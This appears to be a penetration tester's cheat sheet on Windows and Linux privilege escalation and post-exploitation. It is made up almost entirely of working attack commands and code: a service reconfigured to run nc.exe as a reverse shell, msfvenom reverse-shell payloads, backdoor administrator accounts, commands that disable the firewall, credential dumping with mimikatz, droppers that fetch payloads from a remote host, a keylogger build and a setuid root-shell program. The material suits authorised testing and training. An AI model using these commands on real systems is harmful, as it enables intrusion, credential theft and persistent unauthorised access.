Get-NetForestDomain -Forest lockercorp.local -Verbose | Get- NetDomainTrust

# Basics

systeminfo

hostname

# Who am I?

whoami

echo %username%

# What users/localgroups are on the machine?

net users

net localgroups

# More info about a specific user. Check if user has privileges.

net user user1

# View Domain Groups

net group /domain

# View Members of Domain Group

net group /domain <Group Name>

# Firewall

netsh firewall show state

netsh firewall show config

# Network

ipconfig /all

route print

arp -A

# How well patched is the system?

wmic qfe get Caption,Description,HotFixID,InstalledOn

Cleartext Passwords

Search for them

findstr /si password *.txt

findstr /si password *.xml

findstr /si password *.ini

#Find all those strings in config files.

dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.

findstr /spin "password" *.*

findstr /spin "password" *.*

In Files

These are common files to find them in. They might be base64-encoded. So look out for that.

c:\sysprep.inf

c:\sysprep\sysprep.xml

c:\unattend.xml

%WINDIR%\Panther\Unattend\Unattended.xml

%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b

dir c:\*ultravnc.ini /s /b

dir c:\ /s /b | findstr /si *vnc.ini

In Registry

# VNC

reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Sometimes there are services that are only accessible from inside the network.

netstat -ano

Scheduled Tasks:

Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.

schtasks /query /fo LIST /v

cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

Change the upnp service binary:

sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"

sc config upnphost obj= ".\LocalSystem" password= ""

sc config upnphost depend= ""

Weak Service Permissions:

WMCI

wmic service list brief

Here is a POC code for getsuid.

#include <stdlib.h>

int main ()

{

int i;

i = system("net localgroup administrators theusername /add");

return 0;

}

We then compile it with mingw like this:

i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

Restart the Service:

Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed.

We can do this by using wmic or net the following way:

wmic service NAMEOFSERVICE call startservice

net stop [service name] && net start [service name].

Migrate the meterpreter shell:

If your meterpreter session dies right after you get it you need migrate it to a more stable service.

A common service to migrate to is winlogon.exe since it is run by system and it is always run.

You can find the PID like this:

wmic process list brief | find "winlogon"

So when you get the shell you can either type migrate PID or automate this so that meterpreter automatically migrates.

http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html

Unquoted Service Paths:

Find Services With Unquoted Paths

# Using WMIC

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Using sc

sc query

sc qc service name

# Look for Binary_path_name and see if it is unquoted.Exploit It

If the path to the binary is:

c:\Program Files\something\winamp.exe

We can place a binary like this

c:\program.exe

When the program is restarted it will execute the binary program.exe, which we of course control.

We can do this in any directory that has a space in its name. Not only program files.

If the path contains a space and is not quoted, the service is vulnerable.

This attack is explained here: http://toshellandback.com/2015/11/24/ms-priv-esc/

There is also a metasploit module for this is: exploit/windows/local/trusted_service_path

Vulnerable Drivers

Some driver might be vulnerable.

I don't know how to check this in an efficient way.

# List all drivers

driverquery

AlwaysInstallElevated:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

http://toshellandback.com/2015/11/24/ms-priv-esc/

Group Policy Preference:

If the machine belongs to a domain and your user has access to System Volume Information there might be some sensitive files there.

First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables

# Output environment-variables

set

# Look for the following:

LOGONSERVER=\\NAMEOFSERVER

USERDNSDOMAIN=WHATEVER.LOCAL

# Look up ip-addres

nslookup nameofserver.whatever.local

# It will output something like this

Address: 192.168.1.101

# Now we mount it

net use z: \\192.168.1.101\SYSVOL

# And enter it

z:

# Now we search for the groups.xml file

dir Groups.xml /s

If we find the file with a password in it, we can decrypt it like this in Kali

gpp-decrypt encryptedpassword

Services\Services.xml: Element-Specific Attributes

ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element

Printers\Printers.xml: SharedPrinter Element

Drives\Drives.xml: Element-Specific Attributes

DataSources\DataSources.xml: Element-Specific Attributes

Escalate to SYSTEM from Administrator

On Windows XP and Older:

If you have a GUI with a user that is included in Administrators group you first need to open up cmd.exe for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do Run as Administrator you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from c:\windows\system32\cmd.exe. This will give you a cmd with Administrators rights.

From here we want to become SYSTEM user. To do this we run:

First we check what time it is on the local machine:

time

# Now we set the time we want the system CMD to start. Probably one minuter after the time.

at 01:23 /interactive cmd.exe

And then the cmd with SYSTEM privs pops up.

Vista and Newer

You first need to upload PsExec.exe and then you run:

psexec -i -s cmd.exe

Kitrap

On some machines the at 20:20 trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute vdmaillowed.exe. I think it only works with GUI.

vdmallowed.exe

vdmexploit.dll

Using Metasploit

So if you have a metasploit meterpreter session going you can run getsystem.

Post modules

Some interesting metasploit post-modules

First you need to background the meterpreter shell and then you just run the post modules.

use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp

run post/windows/gather/credential_collector

run post/multi/recon/local_exploit_suggester

run post/windows/gather/enum_shares

run post/windows/gather/enum_snmp

run post/windows/gather/enum_applications

run post/windows/gather/enum_logged_on_users

run post/windows/gather/checkvm

Windows Privilege Escalation Methods

Method #1: Metasploit getsystem (From local admin to SYSTEM)

To escalate privileges from local administrator to SYSTEM user:

meterpreter> use priv

meterpreter> getsystem

getsystem uses three methods to achieve that, the first two using named pipe impersonation and the third one, using token duplication.

Method #2: Unquoted Service Paths

It happens when when a developer fails to enclose the file path to a service with quotes. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.

C:\Program Files\Some Folder\Config files\Service.exe

Windows would try to execute:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Config.exe

C:\Program Files\Some Folder\Config files\Service.exe

So if we have write access on some target directory we can write a file on that directory:

icacls "C:\Program Files\Some Folder"

Search for: BUILTIN\Users: (OI) (CI) (M)

(M) stands for Modify for (unprivileged) users

For a full list of icacls output description:

icacls preserves the canonical order of ACE entries as:

Explicit denials

Explicit grants

Inherited denials

Inherited grants

Perm is a permission mask that can be specified in one of the following forms:

A sequence of simple rights:

F (full access)

M (modify access)

RX (read and execute access)

R (read-only access)

W (write-only access)

A comma-separated list in parenthesis of specific rights:

D (delete)

RC (read control)

WDAC (write DAC)

WO (write owner)

S (synchronize)

AS (access system security)

MA (maximum allowed)

GR (generic read)

GW (generic write)

GE (generic execute)

GA (generic all)

RD (read data/list directory)

WD (write data/add file)

AD (append data/add subdirectory)

REA (read extended attributes)

WEA (write extended attributes)

X (execute/traverse)

DC (delete child)

RA (read attributes)

WA (write attributes)

Inheritance rights may precede either Perm form, and they are applied only to directories:

(OI): object inherit

(CI): container inherit

(IO): inherit only

(NP): do not propagate inherit

(I): permission inherited from parent container

To know in which privileges is the service running (hopefully as SYSTEM):

wmic service get name,startname

Then we trojanize the service:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe

And copy it to the folder we can write in:

copy Config.exe C:\Program Files\Some Folder\

And sit and wait to the machine to be rebooted OR:

shutdown /r /t 0

From metasploit:

msf> use exploit/windows/local/trusted_service_path

To exploit it manually:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

sc $SERVICENAME stop & sc $SERVICENAME start

Method #3: Tokens

Take advantage of:

SeImpersonatePrivilege

SeAssignPrimaryPrivilege

Reference: https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

Method #4: Hard coded credentials

Commands:

dir /s *pass* == *cred* == *vnc* == *.config*

findstr /si password *.xml *.ini *.txt

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Method #5: Sensitive files on Desktop, Documents (xls, txt, )

Take a look here as well Intro to Post Exploitation to find commands to search for sensitive files and information.

Method #6: DLL injection / hijacking

Trusted directories:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\CWDIllegalInDllSearch

Method #7: Unattended installation files (Unattend.xml)

Unattended installs that were not cleaned properly can be abused.

Mainly in those directories:

dir C:\Windows\Panther\

dir C:\Windows\Panther\Unattend\

dir C:\Windows\System32\

dir C:\Windows\System32\sysprep\

In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf

Using metasploit:

msf> use post/windows/gather/enum_unattend

Method #8: GPP cracking

These Group policy configuration files that could contain passwords (Groups.xml) are “encrypted” using a known AES key. And found in a shared folder inside the domain controller with read access to all domain authenticated users.

net use z: \\$IP\SYSVOL

SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \\domainname.com\sysvol or the local share name on the server \\servername\sysvol.

SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access.

By default there are two folders with a GUID name under ”C:\Windows\SYSVOL\domain\policies”, representing two group policies (GPO). In any new domain environment we always get two default GPO’s, Default Domain Policy and Domain Controllers Policy.

To update your GPOs:

gpupdate

To look your current assigned GPOs:

gpresult /R

dir /s Groups.xml

Other attack vector, more direct:

findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml

Once we get the hashed:

In Linux:

gpp-decrypt $AES_PASSWORD

In Windows, use PowerSploit function Get-GPPPassword:

Get-DecryptedCpassword $AES_PASSWORD

https://social.technet.microsoft.com/wiki/contents/articles/24160.active-directory-back-to-basics-sysvol.aspx

https://adsecurity.org/?p=2288

Method #9: Weak services and bad permissions

Use AccessChk from sysinternals

Which Services can be modified by any authenticated user (regardless of privilege level):

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

List service parameters:

accesschk.exe -ucqv $SERVICENAME

Find all weak folder permissions per drive:

accesschk.exe -uwdqs Users c:\

accesschk.exe -uwdqs "Authenticated Users" c:\

Find all weak file permissions per drive:

accesschk.exe -uwqs Users c:\*.*

accesschk.exe -uwqs "Authenticated Users" c:\*.*

Permissions on a specific folder:

accesschk.exe Builtin\Users c:\inetpub

Look at vulnerable service configuration parameters

sc qc $SERVICE

Locate interesting parameter, this is only an example

sc config $SERVICE binpath="net user alien alien /add"

sc stop $SERVICE

sc start $SERVICE

From metasploit (post module):

msf> use exploit/windows/local/service_permissions

Method #10: AlwaysInstallElevated ON

Allows any MSI executable be run as SYSTEM.

Manual method:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Using Metasploit:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi

Another method with metasploit:

If the machine has the AlwaysInstallElevated registry flag on, then just:

msf> use exploit/windows/local/always_install_elevated

Method #11: Abusing scheduled tasks

schtasks /query /fo LIST /v

tasklist /SVC

Method #12: Local exploits

msf> use exploit/windows/local/*

Alternative methods of becoming SYSTEM https://blog.xpnsec.com/becoming-system/

Linux Privilege Escalation Methods

Most common techniques for privilege escalation in Linux environments:

Method #1: Find setuids

Sometimes in CTFs there are trojans hidden in the system with the setuid set. Look for any of those using find command:

find / -perm -4000 -ls 2> /dev/null

Method #2: Find world writable directories

find / -perm -777 -type d -ls 2> /dev/null

Method #3: Find world readable logs or backups

Many times Linux is very restrictive with the default permissions BUT sometimes sysadmins do not protect properly system backups, so you can easily extract sensitive system files such as /etc/passwd. Look for gz, tar o zip files is definitely worth it.

find / -name "*.[gz,tar,zip]" 2> /dev/null

Method #4: Check crontab tasks

Added scheduled tasks may contain some misconfigurations like for example, one script is run by root and it is writable for everybody

crontab -l

ls -lR /etc/cron*

Method #5: Local exploits for kernel or applications

As part of your local enumeration information gathering, look for kernel versions, applications installed, daemons running in order to detect any old version with known exploits.

Find setuid binaries:

find / -perm -4000 -ls 2> /dev/null

Find files world writable:

find / -path /sys -prune -o -path /proc -prune -o -type f -perm -o=w -ls 2> /dev/null

Find directories world writable:

find / -path /sys -prune -o -path /proc -prune -o -type d -perm -o=w -ls 2> /dev/null

Look for interesting files:

find / -name "*.txt" -ls 2> /dev/null

find / -name "*.log" -ls 2> /dev/null

Check sudo:

sudo su

sudo -l

Decrypt PKCS#12 objects:

openssl pkcs12 -info -in $FILE

Show certs in PKCS#7 file:

openssl pkcs7 -print_certs -inform DER -in $FILE

openssl smime -verify -in signed.p7 -inform pem

openssl smime -verify -in signed.p7 -inform der

Show keystore content:

keytool -list -v -keystore keystore.jks

Commands for information gathering:

ps -ef

mount

/sbin/ifconfig -a

route -n

cat /etc/crontab

ls -la /var/spool/cron*/

ls -la /etc/cron.d

cat /etc/exports

cat /etc/redhat* /etc/debian* /etc/*release

netstat -tanu

Find users with shell access:

egrep -e '/bin/(ba)?sh' /etc/passwd

Check bootup services:

ls /etc/rc*

SSH relationships and logins:

cat ~/.ssh/*

https://payatu.com/guide-linux-privilege-escalation/

Tools:

http://pentestmonkey.net/tools/audit/unix-privesc-check

https://github.com/sleventyeleven/Linuxprivchecker

https://github.com/rebootuser/LinEnum

Windows Post-exploitation

Check filesystem:

Like “ls -la” in Linux:

dir /A:H

dir /s /b C:\ | findstr /E ".txt" > txt.txt

dir /s /b C:\ | findstr /E ".log" > log.txt

dir /s /b C:\ | findstr /E ".doc" > doc.txt

dir /s /b C:\ | findstr /E ".xls" > xls.txt

dir /s /b C:\ | findstr /E ".xml" > xml.txt

Compute MD5 hash:

Get-FileHash -Algorithm MD5 -Path .\$FILE

Check registry:

reg query HKLM /f password /t REG_SZ /s > hklm_password.txt

reg query HKCU /f password /t REG_SZ /s > hkcu_password.txt

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated > reg_always.txt

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated >> reg_always.txt

Check scheduler:

schtasks /query /fo LIST /v > schtasks.txt

tasklist /SVC > tasklist.txt

Other checks:

DRIVERQUERY

wmic os where Primary='TRUE' reboot

List hotfixes:

wmic qfe

notepad myfile.txt:lion.txt

eventvwr.exe

quser > rdp.txt

netstat -an > netstat.txt

netsh firewall show config > firewall.txt

icacls service.exe

type C:\Windows\System32\drivers\etc\hosts

Wmic commands:

wmic service get name,displayname,pathname,startmode > wmic_service.txt

wmic /node:'' qfe GET description,FixComments,hotfixid,installedby,installedon,servicepackineffect

wmic /node:"" product get name,version,vendor

wmic process get Caption,CommandLine

wmic printer list status

wmic cpu get

List SIDs of the system (as admin):

wmic useraccount get name,sid,fullname

Net commands:

net view

net view \\host

net share

net use z: \\host\dir

net users

net user %username%

net config rdr

Backdoor account:

net user hax0r hax0r /add

net localgroup administrators hax0r /add

net localgroup "Remote Desktop users" hax0r /add

Check routing/network information:

route print

arp -A

ipconfig /all

getmac

Show files attributes / permissions

cacls cmd.exe

attrib cmd.exe

List services:

sc queryex type=service state=all

net start

Other info:

systeminfo

whoami

Idem for Win XP:

echo %USERNAME%

Firewall

netsh firewall show stat

netsh firewall show config

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

Disable firewall:

netsh advfirewall set currentprofile state off

netsh advfirewall set allprofiles state off

RDP

Show RDP sessions:

quser

qwinsta

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

netsh firewall set service type=remotedesktop mode=enable

net start termservice

net start "Terminal Services"

svchost.exe -k termsvcs

tasklist /svc /S servername/U username /P password

Change RDP daemon status from Meterpreter (more Meterpreter commands in Metasploit Meterpreter Cheat Sheet)

msf> reg queryval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled

msf> reg setval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled -d 1

Change RDP port:

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP Value : PortNUmber REG_DWORD=3389

Remote Execution commands:

wmis -U DOMAIN\$USER%$PASS //$DC cmd.exe /c $COMMAND

wmic /node:$IP /user:administrator /password:$PASSWORD bios get serialnumber

tasklist.exe /S $IP /U domain\username

tasklist.exe /S $IP /U domain\username /FI "USERNAME eq NT AUTHORITY\SYSTEM" /FI "STATUS eq running"

taskkill.exe /S $IP /U domain\username /F /FI "norton"

quser /SERVER:$IP

From sysinternals psexec:

psexec -accepteula \\$IP -u DOMAIN\USER cmd.exe

psexec \\$IP -s cmd /c copy \\server\share\file.ext c:\Temp

psexec -s \\$IP c:\windows\system32\cscript.exe script.vbs arg1

Copy a file to the target host AND execute it:

psexec -accepteula \\$IP -u DOMAIN\USER -c file.exe -w C:\temp

Authenticated WMI Exec via Powershell

msf > use exploit/windows/local/ps_wmi_exec

msf exploit(windows/local/ps_wmi_exec) > show options

Module options (exploit/windows/local/ps_wmi_exec):

Name Current Setting Required Description

---- --------------- -------- -----------

DOMAIN no Domain or machine name

PASSWORD no Password to authenticate with

RHOSTS no Target address range or CIDR identifier

SESSION yes The session to run this module on.

USERNAME no Username to authenticate as

Exploit target:

Id Name

-- ----

0 Universal

msf exploit(windows/local/ps_wmi_exec) >

In the same host but with other role:

runas /user:administrator cmd

runas /noprofile /user:DOMAIN\administrator cmd

runas /profile /env /user:DOMAIN\$USER "%windir%\system32\script.bat"

Windows exploit suggester (OBSOLETE)

WARNING: As of March 14 2017 no longer supported (https://github.com/GDSSecurity/Windows-Exploit-Suggester/issues/28)

python windows-exploit-suggester.py --update

python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

Tools for information gathering

Manual method

dir %TMP% %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent

dir %USERPROFILE%\Favorites

type C:\Windows\System32\drivers\etc\hosts

LaZagne

Download LaZagne from https://github.com/AlessandroZ/LaZagne

laZagne.exe all

laZagne.exe browsers

laZagne.exe browsers -firefox

RATs (Remote Administration Tools)

Pupy https://github.com/n1nj4sec/pupy: opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

Sniffers

Sniffers for Windows

Install Wireshark, also use in console dumpcap:

dumpcap -D

dumpcap -i $IFACE

Keyloggers for Windows

Windows keylogger (no admin rights):

https://raw.githubusercontent.com/GiacomoLaw/Keylogger/master/windows/klog_main.cpp

To cross-compile it for Windows:

i686-w64-mingw32-g++ klog_main.cpp -o klog -static

Network sniffers for Linux

tcpdump -X -s 0 -i $INTERFACE

Password dumping

mimikatz

mimikatz.exe

mimikatz> privilege::debug

mimikatz> sekurlsa::logonPasswords

mimikatz> sekurlsa::msv

Fgdump

Dumps hashes (needs SYSTEM privileges)

fgdump.exe

WCE (Windows Credential Editor)

Dumps clear passwords:

wce -w

Dumps hashes:

wce

Persistent, writes in credentials.txt:

wce -r

Change your credentials in memory:

wce -s

Droppers

Droppers are programs that allows you to download tools, trojans, etc to the target machine to follow the compromise locally.

Droppers using Linux

wget http://$IP/file

curl -k https://$IP/file > file

nc -nvv $IP 8080 > file

scp $FILE root@$IP:~

Droppers using Windows

Powershell

curl -Uri $URL

See also Powercat in the Powershell frameworks section.

ROBOCOPY

NET USE \\$IP\IPC$ /USER:DOMAIN\USER

ROBOCOPY \\$IP\DATA\ C:\DATA\ /NP /TEE /E /dcopy:T /Z

NET USE \\$IP\IPC$ /D

BITSAdmin

https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool

Direct Transfer:

bitsadmin /transfer myDownloadJob /download /priority normal http://$IP/$FILE c:\$FILE

Using a download queue:

bitsadmin /create myDownloadJob

bitsadmin /addfile myDownloadJob http://$IP/$FILE c:\$FILE

Certutil

certutil.exe -urlcache -split -f "https://$IP/files/netcat.exe" nc.exe

Notepad

notepad.exe http://$IP/file.txt

Living Off the Land (LOLbins) for Windows

Links:

https://github.com/LOLBAS-Project/LOLBAS

https://lolbas-project.github.io/

https://gtfobins.github.io/

https://github.com/Arno0x/CSharpScripts

https://gist.github.com/jstangroome/9adaa87a845e5be906c8

https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1

Examples:

hh.exe C:\windows\system32\calc.exe

C# compiler built-in command:

csc.exe

Droppers Using known protocols

HTTP

Python2

python -m SimpleHTTPServer

python -m SimpleHTTPServer 80

Python3

python3 -m http.server 8080

Php

php -S localhost:8000

Ruby

ruby -run -e httpd . -p 8000

FTP

pip install pyftpdlib

python -m pyftpdlib

SMB

impacket-smbserver PAYLOADS /root/payload

SharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks.

The following command will run all priv esc checks and store the output in a file.

Command Reference:

Output File: output.txt

Command:

Copy

SharpUp.exe > output.txt

https://github.com/GhostPack/SharpUp

https://www.harmj0y.net/blog/redteaming/ghostpack/

winpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts.

The below command will run all priv esc checks and store the output in a file.

Command Reference:

Run all checks: cmd

Output File: output.txt

Command:

Copy

winpeas.exe cmd > output.txt

Windows

privesccheck

winenum

winpeas

Enumerating all the access tokens on the victim system with PowerSploit:

Invoke-TokenManipulation -ShowAll | ft -Wrap -Property domain,username,tokentype,logontype,processid

Running the compiled code invokes a new process with the newly stolen token:

One of the techniques of token manipulation is creating a new process with a token "stolen" from another process. This is when a token of an already existing access token present in one of the running processes on the victim host, is retrieved, duplicated and then used for creating a new process, making the new process assume the privileges of that stolen token. A high level process of the token stealing that will be carried out in this lab is as follows:

Step Win32 API

Open a process with access token you want to steal OpenProcess

Get a handle to the access token of that process OpenProcesToken

Make a duplicate of the access token present in that process DuplicateTokenEx

Create a new process with the newly aquired access token CreateProcessWithTokenW

DLL Hijacking

DLL Search Order Hijacking for privilege escalation, code execution, etc.

Generating a DLL that will be loaded and executed by a vulnerable program which connect back to the attacking system with a meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil-meterpreter64.dll

Pass The Hash: Privilege Escalation with Invoke-WMIExec

If you have an NTLMv2 hash of a local administrator on a box ws01, it's possible to pass that hash and execute code with privileges of that local administrator account:

Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname

If the target system you are passing the hash to, has the following registry key/value/data set to 0x1, pass the hash will work even for accounts that are not RID 500:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username spotless -command hostname

#enumerate the users

#rid brute forcing

cme smb $ip -u "" -p "" --rid-brute

#active sessions

cme smb $ip -u '' -p '' --loggedon-users

#users in general

cme smb $ip -u '' -p '' --users

​

#enumerate the groups

#local groups

cme smb $ip -u '' -p '' --local-groups

#domain groups

cme smb $ip -u '' -p '' --groups

#smbclient

smbclient -L $ip

smbclient //$ip/tmp

smbclient \\\\192.168.1.105\\ipc$ -U john

smbclient //$ip/ipc$ -U john

​

#mounting the share

mkdir /mnt/targetshare

mount -t cifs \\172.16.20.88\ipc$ -o username=[username] /mnt/targetshare

nmap

nmap -sU -p 69 --script tftp-enum.nse $ip

Interact with TFTP protocol:

#setup the connection

tftp 172.16.200.100

#get a file

tftp> get /etc/passwd

#upload reverse shell

tftp> put shell.php

enumerate information with known community string

# enumerate windows users

snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25

# enumerates running processes

snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.

Linux Privilege Escalation

OS & User Enumeration :

############################### User Enumeration ##########################

whoami

id

sudo -l

cat /etc/passwd

ls -la /etc/shadow

################################# OS Enumeration ##########################

cat /etc/issue

cat /etc/*-release

cat /proc/version

uname -a

arch

ldd --version

################################# Installed tools #########################

which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp

############################ File owners and permissions ##################

ls -la

find . -ls

history

cat ~/.bash_history

find / -type f -user <username> -readable 2> /dev/null # Readable files for

find / -writable -type d 2>/dev/null # Writable files by the user

find /usr/local/ -type d -writable

################################## File mount #############################

/mnt /media -> usb devices and other mounted disks

mount -> show all the mounted drives

df -h -> list all partitions

cat /etc/fstab # list all drives mounted at boot time

/bin/lsblk

#################################### Applications #########################

dpkg -l # for Debian based systems

##################################### Cron tabs ###########################

ls -lah /etc/cron*

cat /etc/crontab

ls -la /var/log/cron* # Locating cron logs

find / -name cronlog 2>/dev/null

grep "CRON" /var/log/cron.log # for locating running jobs from logs

grep CRON /var/log/syslog # grepping cron from syslog

#################################### Internal Ports #######################

Netstat -alnp | grep LIST | grep port_num

Netstat -antp

netstat -tulnp

curl the listening ports

################################### Interesting DIRS ######################

/dev/scripts

/opt

/mnt

/var/www/html

/var

/etc

/media

/backup

################################### SUID Binaries #########################

(https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binar

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/

find / -perm -u=s -type f 2>/dev/null

find / -perm -4000 -user root 2>/dev/null

ldd /usr/bin/binary-name

strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file

################################# Firewall Enumeration ####################

grep -Hs iptables /etc/*

############################### Kernal Modules ############################

lsmod

/sbin/modinfo <mod name>

PrivEsc Checklist :

sudo rights (https://medium.com/schkn/linux-privilege-escalation-using-text-editors- and-files-part-1-a8373396708d)

sensitive files & permission misconfiguration (SSH keys, shadow files)

SUID Binaries

Internal Ports

Processes running with root privilege

Cron tabs

Hidden cron process with pspy

Mounted filesystems

TMUX session hijacking

Path Hijacking

Process Injection (https://github.com/nongiach/sudo_inject)

Docker PS

Interesting groups (https://book.hacktricks.xyz/linux-unix/privilege- escalation/interesting-groups-linux-pe)

Wheel

Shadow

Disk

Video

Root

Docker

lxd - (https://www.hackingarticles.in/lxd-privilege-escalation/)

Environment variables

bash version < 4.2-048 | 4.4 (https://tryhackme.com/room/linuxprivesc Task 14, 15)

NFS Misconfiguration

linpeas.sh -a //all checks

SUID Shared Object Injection :

Find a SUID binary that looks fishy

strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"

Match the shared object that sits in a path where you have write access

create a shared object in the missing SO file name

run the SUID binary

NFS Misconfiguration :

https://tryhackme.com/room/linuxprivesc (Task 19)

cat /etc/exports

On Kali

mkdir /tmp/nfs

mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o

/tmp/nfs/shell.elf

chmod +xs /tmp/nfs/shell.elf

On Target

/tmp/shell.elf

Kernel Exploits

cat /proc/version

uname -r

uname -mrs

cat /etc/lsb-release

cat /etc/os-release

gcc exploit.c -o exp

Compile exploit in local machine and upload to remote machine

gcc -m32 -Wl,--hash-style=both 9542.c -o 9542

apt-get install gcc-multilib

Recover Deleted Files :

extundelete (HTB mirai - https://tiagotavares.io/2017/11/mirai-hack-the-box-retired/)

strings

C Program to SetUID /bin/bash :

gcc -Wall suid.c -o exploit

sudo chown root exploit

sudo chmod u+s exploit

$ ls -l exploit -rwsr-xr-x 1 root users 6894 11 sept. 22:05 exploit

#include <unistd.h>

int main()

{

setuid(0);

execl("/bin/bash", "bash", (char *)NULL);

return 0;

}

./exploit

# whoami

root

Tools :

Linux Exploit Suggester (HTB Nibbles) (https://github.com/mzet-/linux-exploit- suggester)

SUIDENUM (https://github.com/Anon-Exploiter/SUID3NUM)

LinEnum.sh (https://github.com/rebootuser/LinEnum)

linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/linPEAS)

Linprivchecker (https://github.com/sleventyeleven/linuxprivchecker)

pspy (https://github.com/DominicBreuker/pspy) (crontabs)

Resources :

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

https://github.com/Ignitetechnologies/Privilege-Escalation

https://gtfobins.github.io/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Mysql

MYSQL UDF Exploit: https://www.exploit-db.com/exploits/1518 gcc -g -c raptor_udf2.c -fPIC 1

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -

mysql -u root 45

use mysql;

create table foo(line blob);

